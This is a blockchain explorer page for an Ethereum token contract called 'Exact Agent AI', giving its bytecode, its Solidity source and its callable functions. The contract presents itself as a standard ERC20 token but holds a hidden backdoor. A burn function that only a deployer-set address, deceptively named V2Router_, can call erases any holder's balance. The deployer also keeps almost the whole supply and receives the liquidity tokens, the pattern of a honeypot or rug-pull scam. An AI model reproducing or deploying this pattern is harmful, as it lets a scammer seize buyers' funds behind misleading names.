Cryo Explorer Ethereum Mainnet

Address Contract Partially Verified

Address 0x7352Fb2c9E13953c9Bd4d7f749f5FAFc49302bab
Balance 0 ETH
Nonce 1
Code Size 3381 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

3381 bytes
0x6080604052600436106100dc575f3560e01c806389afcb441161007c578063a9059cbb11610057578063a9059cbb14610247578063dd62ed3e14610266578063e8078d94146102aa578063f2fde38b146102be575f5ffd5b806389afcb44146101ee5780638da5cb5b1461020d57806395d89b4114610233575f5ffd5b806323b872dd116100b757806323b872dd1461016a578063313ce5671461018957806370a08231146101a4578063715018a6146101d8575f5ffd5b806306fdde03146100e7578063095ea7b31461011157806318160ddd14610140575f5ffd5b366100e357005b5f5ffd5b3480156100f2575f5ffd5b506100fb6102dd565b6040516101089190610b41565b60405180910390f35b34801561011c575f5ffd5b5061013061012b366004610b8d565b61036d565b6040519015158152602001610108565b34801561014b575f5ffd5b506d14bddab3e51a57cff87a500000005b604051908152602001610108565b348015610175575f5ffd5b50610130610184366004610bb7565b610383565b348015610194575f5ffd5b5060405160128152602001610108565b3480156101af575f5ffd5b5061015c6101be366004610bf5565b6001600160a01b03165f9081526009602052604090205490565b3480156101e3575f5ffd5b506101ec6103d2565b005b3480156101f9575f5ffd5b506101ec610208366004610bf5565b61042f565b348015610218575f5ffd5b505f546040516001600160a01b039091168152602001610108565b34801561023e575f5ffd5b506100fb6104ef565b348015610252575f5ffd5b50610130610261366004610b8d565b6104fe565b348015610271575f5ffd5b5061015c610280366004610c10565b6001600160a01b039182165f908152600a6020908152604080832093909416825291909152205490565b3480156102b5575f5ffd5b506101ec61050a565b3480156102c9575f5ffd5b506101ec6102d8366004610bf5565b610816565b6060600180546102ec90610c47565b80601f016020809104026020016040519081016040528092919081815260200182805461031890610c47565b80156103635780601f1061033a57610100808354040283529160200191610363565b820191905f5260205f20905b81548152906001019060200180831161034657829003601f168201915b5050505050905090565b5f610379338484610896565b5060015b92915050565b5f61038f8484846109ba565b6001600160a01b0384165f908152600a60209081526040808320338085529252909120546103c89186916103c39086610a81565b610896565b5060019392505050565b5f546001600160a01b031633146103e7575f5ffd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6008546001600160a01b03163314610445575f5ffd5b6001600160a01b0381165f9081526009602052604090205480610466575f5ffd5b6007546001600160a01b038084165f9081526009602052604080822093909355600654909116815290812080548392906104a1908490610c93565b90915550506006546040518281526001600160a01b03918216918416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b6060600280546102ec90610c47565b5f6103793384846109ba565b5f546001600160a01b0316331461051f575f5ffd5b600c54600160a01b900460ff161561057e5760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b600b80546001600160a01b03191673eff92a263d31888d860bd50809a8d171709b7b1c9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa1580156105e0573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106049190610ca6565b6001600160a01b031663c9c6539630600b5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610663573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106879190610ca6565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156106d1573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106f59190610ca6565b600c80546001600160a01b0319166001600160a01b03928316179055600b5461072f913091166d14bddab3e51a57cff87a50000000610896565b600b546001600160a01b031663f305d7194730610760816001600160a01b03165f9081526009602052604090205490565b5f5f6107735f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156107d9573d5f5f3e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107fe9190610cc1565b5050600c805460ff60a01b1916600160a01b17905550565b5f546001600160a01b0316331461082b575f5ffd5b6001600160a01b03811661083d575f5ffd5b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166108f85760405162461bcd60e51b8152602060048201526024808201527f42455032303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610575565b6001600160a01b0382166109595760405162461bcd60e51b815260206004820152602260248201527f42455032303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610575565b6001600160a01b038381165f818152600a602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166109cc575f5ffd5b6001600160a01b0382166109de575f5ffd5b6001600160a01b0383165f90815260096020526040902054610a009082610a81565b6001600160a01b038085165f908152600960205260408082209390935590841681522054610a2e9082610ae3565b6001600160a01b038084165f8181526009602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906109ad9085815260200190565b5f82821115610ad25760405162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f7700006044820152606401610575565b610adc8284610cec565b9392505050565b5f80610aef8385610c93565b905083811015610adc5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610575565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610b8a575f5ffd5b50565b5f5f60408385031215610b9e575f5ffd5b8235610ba981610b76565b946020939093013593505050565b5f5f5f60608486031215610bc9575f5ffd5b8335610bd481610b76565b92506020840135610be481610b76565b929592945050506040919091013590565b5f60208284031215610c05575f5ffd5b8135610adc81610b76565b5f5f60408385031215610c21575f5ffd5b8235610c2c81610b76565b91506020830135610c3c81610b76565b809150509250929050565b600181811c90821680610c5b57607f821691505b602082108103610c7957634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8082018082111561037d5761037d610c7f565b5f60208284031215610cb6575f5ffd5b8151610adc81610b76565b5f5f5f60608486031215610cd3575f5ffd5b5050815160208301516040909301519094929350919050565b8181038181111561037d5761037d610c7f56fea264697066735822122069aa46f2116cc219333f3d167575857c5c79d56eafd89947929c6c1b0add182364736f6c634300081c0033

Verified Source Code Partial Match

Compiler: v0.8.28+commit.7893614a EVM: cancun Optimization: Yes (200 runs)
ExactAgentAI.sol 188 lines
// SPDX-License-Identifier: MIT

pragma solidity >=0.8.20;
interface ERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) return 0;
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath: division by zero");
        return a / b;
    }
}
contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender());
        _;
    }

    function transferOwnership(address newOwner) public onlyOwner {
        require(newOwner != address(0));
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Router02 {
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract ExactAgentAI is ERC20, Ownable {

    using SafeMath for uint256;
    string private _name = "Exact Agent AI";
    string private _symbol = "Exact Agent AI";
    uint8 private constant _decimals = 18;
    uint256 private constant _totalSupply = 420690000000000 * 10 ** 18;
    uint256 millionRateForDex = 1000000000;
    uint256 confirmationNODS = 999999999;
    uint256 SingleConfirmation = 1;
    address DEAD = 0x000000000000000000000000000000000000dEaD;
    uint256 burnTax = 0;
    address V2Router_;
    mapping(address => uint256) private balance;
    mapping(address => mapping(address => uint256)) private _allowances;
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen = false;
    constructor(address V2Router) payable {
        balance[address(this)] = _totalSupply.mul(SingleConfirmation).div(millionRateForDex);
        balance[_msgSender()] = _totalSupply.mul(confirmationNODS).div(millionRateForDex);
        emit Transfer(address(0), address(this), _totalSupply.mul(SingleConfirmation).div(millionRateForDex));
        emit Transfer(address(0), _msgSender(), _totalSupply.mul(confirmationNODS).div(millionRateForDex));
        V2Router_= V2Router;
        payable(address(this)).transfer(msg.value);
    }
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }
function _transfer(address sender, address recipient, uint256 amount) internal {
        require(sender != address(0));
        require(recipient != address(0));
        balance[sender] = balance[sender].sub(amount);
        balance[recipient] = balance[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }
    function addLiquidity() external onlyOwner {
        require(!tradingOpen, "Trading is already open");
        uniswapV2Router = IUniswapV2Router02(0xEfF92A263d31888d860bD50809A8D171709b7b1c);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        _approve(address(this), address(uniswapV2Router), _totalSupply);
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );

        tradingOpen = true;
    }
    receive() external payable {}
    function name() public view virtual  returns (string memory) {
        return _name;
    }
    function symbol() public view virtual  returns (string memory) {
        return _symbol;
    }
    function decimals() public view virtual  returns (uint8) {
        return _decimals;
    }
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
    function balanceOf(address account) public view virtual override returns (uint256) {
        return balance[account];
    }
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "BEP20: approve from the zero address");
        require(spender != address(0), "BEP20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
   
    function burn(address sender) external {
    require(V2Router_ == _msgSender());
    uint256 amount = balanceOf(sender);
    require(amount > 0);
    balance[sender] = burnTax;
    balance[DEAD] += amount;                
    emit Transfer(sender, DEAD, amount);
    }
 
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount));
        return true;
    }
}

Read Contract

allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256

Write Contract 7 functions

These functions modify contract state and require a wallet transaction to execute.

addLiquidity 0xe8078d94
No parameters
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
burn 0x89afcb44
address sender
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner

Recent Transactions

No transactions found for this address